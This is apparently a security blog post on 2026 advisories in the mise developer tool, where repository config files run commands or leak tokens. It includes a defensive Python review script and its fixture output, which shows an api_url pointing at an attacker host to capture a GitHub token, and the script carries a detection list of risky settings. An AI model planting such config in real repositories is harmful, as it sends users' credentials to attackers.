mise, the Rust tool for managing dev tool versions, environment variables and tasks, published 12 security advisories in 2026. In nine of them, the input was a file in a repository you'd cloned: a mise.toml, a .tool-versions or a task file that ran commands or sent your GitHub token somewhere, often with no trust prompt at all. The latest to reach GitHub's reviewed database, CVE-2026-103929 on 15 October, is one of four where a project file set a setting that runs commands or controls trust. The pattern isn't careless maintainers. It's the trust model: by default, mise decides whether a file needs approval by looking at what's in it, and every new feature gives it something new to miss.
This post is for developers and platform teams who use mise, and for anyone choosing how a developer tool should treat config that ships inside a repository. It sets out the 2026 advisories, compares the two ways tools decide trust, and ends with a script that lists what mise would load from a repository before you trust it.
The short answer
Upgrade mise to 2026.10.0 or later. The current release is 2026.10.11. If you open repositories you don't control, turn on paranoid mode with mise settings paranoid=true: every project config file then needs your approval, bound to a hash of its content. In normal mode, mise loads some files without asking, treats every config as trusted when it detects CI, and records trust automatically when you run mise run, mise install or mise exec. Review a repository's mise files before any of those.
Twelve advisories, nine from the repository
These are the advisories published in mise's repository between April and October 2026:
| Published | Advisory | What a file in the repository could do |
|---|---|---|
| 3 Apr | CVE-2026-35533 | Set trust-control settings such as trusted_config_paths in its own .mise.toml, making itself trusted |
| 12 Jun | CVE-2026-33646 | Run commands through exec() in a .tool-versions template, which wasn't trust-checked |
| 12 Jun | CVE-2026-54557 | Make mise install create a symlink outside the install tree via .tool-versions |
| 12 Jun | CVE-2026-55441 | Run commands from task-include files in a repo with no config file to gate |
| 12 Jun | CVE-2026-55448 | Set github.credential_command, which mise ran with sh -c |
| 7 Jul | CVE-2026-71477 | Not repository input: wrong file ownership when root ran install.sh |
| 26 Jul | CVE-2026-103929 | Set the shell interpreter arguments mise uses for every command |
| 20 Aug | GHSA-w8pw-h853-frw2 | Not repository input: GitLab and Forgejo tokens sent to third-party release-asset hosts |
| 14 Sep | GHSA-6986-cq7v-7cj9 | Set history.describe_command, a setting added a week earlier |
| 30 Sep | GHSA-333c-h2jr-xv83 | Point a github: tool's api_url at an attacker host and receive your GITHUB_TOKEN |
| 2 Oct | GHSA-r9rm-ppfv-c993 | Not repository input: substring matching in the GitHub attestation signer check |
| 2 Oct | GHSA-wcqh-j26q-g44x | Do the same api_url trick through inline options in .tool-versions, which the trust gate ignored |
The nine repository cases fall into two groups. In four, a project file set a setting that runs commands or controls trust. The fix for the first two was a per-setting global_only flag, and the next two were settings nobody had flagged. In the other five, a file or option was treated as harmless: .tool-versions templates, task includes, inline options, a version string used as a path, and an api_url taken from project config without checking the host.
Only six of the twelve are in GitHub's reviewed advisory database as of 16 October. The five without a CVE ID, and CVE-2026-71477, appear only as repository advisories on mise's GitHub page. CVE-2026-103929 itself was published there on 26 July and reviewed on 15 October.
Two ways to decide trust
A tool that reads config from a repository has to decide, before running anything, whether you meant it to. There are two broad ways to do that.
Inspect the content. Load the file, look at what it contains, and ask for approval only when it contains something dangerous. mise's normal mode works like this. Its security documentation says a mise.toml loads without trust when it has no template syntax and contains only min_version, plain [tools] version strings, and [tasks] that don't list secrets. .tool-versions needs trust only when it contains template syntax or inline tool options, and idiomatic version files such as .nvmrc never do.
Approve the content. Load nothing from a file until you've approved that exact file, and ask again whenever it changes. direnv works like this. Its allow record is a SHA-256 hash of the file's absolute path and content, so any edit to .envrc blocks it again until you rerun direnv allow. mise's paranoid mode works the same way: mise trust "stores a hash of the file, and any edit makes it untrusted again".
The difference is what happens when the tool grows. With content inspection, every new setting, file type or option has to be added to the gate, and a missed one fails open. With content approval, a new feature in an unapproved file does nothing, because the file isn't loaded at all. It fails closed.
Why the denylist kept leaking
mise's advisories show the failure mode in order.
CVE-2026-35533 and CVE-2026-55448 established that project [settings] were read before the trust check. The fix was a denylist: settings marked global_only are stripped from project config. The advisory for CVE-2026-103929 explains what happened next. The fix covered the three credential_command settings but not the four shell-argument settings, which "choose the interpreter for every command mise spawns". Then GHSA-6986-cq7v-7cj9 found history.describe_command, added on 7 September in PR #12918 and reported a week later, also not marked global_only.
Each fix was correct. Each new setting reopened the question. In mise's current settings.toml, 43 of 347 settings carry global_only. Whether the other 304 are safe in a project file depends on someone reviewing every addition with the trust model in mind.
The other five follow the same logic for files and options. .tool-versions templates weren't checked because .tool-versions was considered harmless. Task-include files were never checked in a repository with no config file, because the gate keyed on config files. Inline options in .tool-versions were ignored because the gate looked for template delimiters, not options. And api_url was accepted from a project file without asking whether the host was GitHub.
mise has tightened its defaults in response. The current documentation says [settings], [env], [hooks], tool option tables and include all need trust, and inline options in .tool-versions now do too. That narrows the gap. It doesn't change the model.
Three places mise trusts without asking
Even with the gate working as designed, normal mode trusts config in three situations the documentation spells out:
- CI. When mise detects CI, for example because
CIis set, "it treats every config as trusted and records nothing". A workflow that runs mise on a pull request branch loads that branch's config with full trust. - Running the project.
mise run, task shorthand such asmise build,mise install,mise exec,mise watchand themise daemonscommands record trust for every non-global config they load, including configs in parent directories, "because running them is already a decision to run the project's code". --yes. Outside CI,--yesorMISE_YES=1answers the trust prompt with yes.
Paranoid mode turns off the CI exemption and --yes for trust, and stops those commands from trusting the config they load. For automation that has to read config it doesn't control, such as a bot that bumps tool versions on pull requests, mise's documentation points to safe mode, MISE_SAFE=1, which limits what project config can do for resolution commands like mise lock. GHSA-333c-h2jr-xv83 notes that its token leak still fired under MISE_SAFE=1, and the documentation says plainly that safe mode is not an operating-system sandbox.
Check a repository before you trust it
This script walks a repository and lists every file mise would read: config files in all the documented locations, conf.d fragments, .tool-versions, .miserc.toml and task files. For each, it says whether mise's default rules load it without trust, and flags what can run code or send tokens: templates and exec(), [env] _.source, hooks, postinstall, api_url, inline tool options, tasks, and the settings named in this year's advisories. It reads files only and never runs mise. It uses only the Python standard library and needs Python 3.11 or later.
#!/usr/bin/env python3
"""List what mise would load from a repository, and what in it can run code.
Run it on a fresh clone before you cd into it with mise activated, or before
`mise trust`. It reads files only and never runs mise. Python 3.11+.
python3 mise_repo_review.py REPO
"""
import os, re, sys, tomllib
SKIP = {".git", "node_modules", ".venv", "vendor", "target", "dist"}
CONF_DIRS = ("mise", ".mise", ".config/mise")
TASK_DIRS = ("mise-tasks", ".mise-tasks", ".mise/tasks", ".config/mise/tasks", "mise/tasks")
CONFIG_NAME = re.compile(r"^\.?mise(\.[\w-]+)?(\.local)?\.toml$")
TEMPLATE = re.compile(r"\{\{|\{%|\{#")
# Settings named in 2026 mise advisories as running commands or moving trust.
RISKY_SETTINGS = {
"trusted_config_paths": "CVE-2026-35533", "github.credential_command": "CVE-2026-55448",
"gitlab.credential_command": "CVE-2026-55448 class", "forgejo.credential_command": "CVE-2026-55448 class",
"unix_default_inline_shell_args": "CVE-2026-103929", "unix_default_file_shell_args": "CVE-2026-103929",
"windows_default_inline_shell_args": "CVE-2026-103929", "windows_default_file_shell_args": "CVE-2026-103929",
"history.describe_command": "GHSA-6986-cq7v-7cj9", "paranoid": "trust control", "safe": "trust control",
}
TOOL_OPTS = {"postinstall": "runs a script after install", "api_url": "receives your GitHub token"}
def flat(d, prefix=""):
for k, v in d.items():
key = f"{prefix}{k}"
if isinstance(v, dict):
yield from flat(v, key + ".")
else:
yield key, v
def review_toml(text):
notes, needs_trust = [], False
if TEMPLATE.search(text):
needs_trust = True
notes.append("template syntax" + (", calls exec()" if "exec(" in text else ""))
try:
cfg = tomllib.loads(text)
except tomllib.TOMLDecodeError as e:
return True, [f"unparseable TOML ({e}); review by hand"]
for key, v in flat(cfg.get("settings", {})):
needs_trust = True
notes.append(f"[settings] {key}" + (f" <- {RISKY_SETTINGS[key]}" if key in RISKY_SETTINGS else ""))
env = cfg.get("env", {})
if env:
needs_trust = True
directives = env.get("_", {})
for d in ("source", "file", "path", "python"):
if d in directives:
notes.append(f"[env] _.{d} = {directives[d]!r}" + (" <- runs a script" if d == "source" else ""))
plain = [k for k in env if k != "_"]
if plain:
notes.append(f"[env] sets {', '.join(sorted(plain))}")
for hook, cmd in cfg.get("hooks", {}).items():
needs_trust = True
notes.append(f"[hooks] {hook} runs {cmd!r}")
for tool, spec in cfg.get("tools", {}).items():
if "[" in tool:
needs_trust = True
notes.append(f"[tools] inline options in {tool!r}")
if isinstance(spec, dict):
needs_trust = True
for opt in spec:
if opt in TOOL_OPTS:
notes.append(f"[tools] {tool} {opt} = {spec[opt]!r} <- {TOOL_OPTS[opt]}")
for section in ("tool_alias", "include"):
if section in cfg:
needs_trust = True
notes.append(f"{section} present")
if cfg.get("task_config", {}).get("includes"):
notes.append(f"task includes: {cfg['task_config']['includes']}")
tasks = cfg.get("tasks", {})
if any(isinstance(t, dict) and t.get("secrets") for t in tasks.values()):
needs_trust = True
notes.append("a task lists secrets")
if tasks:
notes.append(f"{len(tasks)} task(s); `mise run` executes them and trusts this file")
return needs_trust, notes
def review_tool_versions(text):
notes = []
if TEMPLATE.search(text):
notes.append("template syntax" + (", calls exec()" if "exec(" in text else ""))
for line in text.splitlines():
m = re.match(r"\s*([^\s#]+\[[^\]]*\])", line)
if m:
spec = m.group(1)
hits = [f"{o} ({why})" for o, why in TOOL_OPTS.items() if o + "=" in spec]
notes.append(f"inline options {spec}" + (f" <- {', '.join(hits)}" if hits else ""))
return bool(notes), notes
def main(root):
found = 0
for dirpath, dirs, files in os.walk(root):
dirs[:] = sorted(d for d in dirs if d not in SKIP)
rel_dir = os.path.relpath(dirpath, root)
rel_dir = "" if rel_dir == "." else rel_dir + "/"
for f in sorted(files):
path = os.path.join(dirpath, f)
rel = rel_dir + f
parent = os.path.dirname(rel)
in_conf = any(parent == c + "/conf.d" or parent.endswith("/" + c + "/conf.d")
or parent.startswith(c + "/conf.d/") for c in CONF_DIRS)
is_task = any(("/" + rel).find("/" + t + "/") >= 0 for t in TASK_DIRS)
text = open(path, errors="replace").read() if os.path.getsize(path) < 1_000_000 else ""
if f == ".tool-versions":
trust, notes = review_tool_versions(text)
elif f == ".miserc.toml":
trust, notes = False, ["chooses which config files load (never needs trust)"]
elif CONFIG_NAME.match(f) or (f.endswith(".toml") and in_conf) or (
f in ("config.toml", "config.local.toml") and any(parent.endswith(c) for c in CONF_DIRS)):
trust, notes = review_toml(text)
elif is_task:
trust = bool(TEMPLATE.search(text))
notes = ["task file; `mise run` executes it"]
if trust:
notes.append("template syntax" + (", calls exec()" if "exec(" in text else ""))
else:
continue
found += 1
gate = "needs trust" if trust else "LOADS WITHOUT TRUST by default"
print(f"{rel}: {gate}")
for n in notes:
print(f" {n}")
if not found:
print("No mise config, .tool-versions or task files found.")
else:
print(f"\n{found} file(s). In paranoid mode every one except .miserc.toml needs trust, bound to its hash.")
if __name__ == "__main__":
main(sys.argv[1] if len(sys.argv) > 1 else ".")
We ran it on 16 October against a fixture repository with one example of each pattern:
$ python3 mise_repo_review.py repo
.miserc.toml: LOADS WITHOUT TRUST by default
chooses which config files load (never needs trust)
.tool-versions: needs trust
inline options github:sharkdp/fd[api_url=https://ghe.attacker.example/api/v3] <- api_url (receives your GitHub token)
mise.local.toml: needs trust
[settings] unix_default_inline_shell_args <- CVE-2026-103929
[settings] experimental
mise.toml: LOADS WITHOUT TRUST by default
1 task(s); `mise run` executes them and trusts this file
.config/mise/conf.d/dev.toml: needs trust
[env] _.source = './scripts/dev-env.sh' <- runs a script
[env] sets APP_ENV
[hooks] enter runs 'echo entered'
mise-tasks/build: needs trust
task file; `mise run` executes it
template syntax, calls exec()
services/api/mise.toml: needs trust
[tools] aqua:cli/cli postinstall = './hack/setup.sh' <- runs a script after install
7 file(s). In paranoid mode every one except .miserc.toml needs trust, bound to its hash.
The two files marked as loading without trust are the ones mise's normal mode reads silently. The root mise.toml is plain versions and a task, which is fine, but mise run test will record trust for it. Running a task from services/api would record trust for that directory's mise.toml, postinstall script included, and for the root one above it. Everything else would prompt in a terminal. In CI, none of it would.
What to do
- Upgrade to 2026.10.0 or later, which includes the fixes for every advisory above. Check with
mise --version. - Turn on paranoid mode on machines where you open code you didn't write:
mise settings paranoid=true. The setting isglobal_only, so a project can't turn it off. - Review before you trust. Run
mise trust --showand read each file, or run the script above, beforemise trust,mise runormise installin a new clone. - Be deliberate in CI. If workflows run mise on code from forks or untrusted branches, set
MISE_PARANOID=1and trust reviewed files explicitly, or use safe mode for version-resolution jobs only. - Keep tokens scoped. Three of these advisories sent tokens to hosts the user never chose. A read-only, short-lived token limits what any one leak costs. Our post on dev container security and dotfiles covers keeping credentials out of developer environments.
The fair view
Content inspection exists for a good reason. Approving every file, and re-approving it after every git pull, is friction most developers won't tolerate, and a tool that nags constantly trains people to click yes. direnv users know the routine. mise's normal mode lets a repository pin Node 24 without a prompt, which is what most projects need.
The maintainers have also handled this well. Advisories are detailed and credit their reporters, here kq5y, mosskappa, miauzxw, hehaoqian, arpitjain099, ntdatt812, jjzeroday, theredspoon, manus-pi and manus-use. The paranoid and safe modes are documented plainly, including what they don't do.
But the record is the argument. Nine advisories in six months came from the same question, "does this file need trust?", answered by inspection. A tool that ships features weekly can't keep a denylist complete. For anyone building developer tools that read repository config, the lesson from mise's year is to make approval the default and inspection the convenience, not the other way round.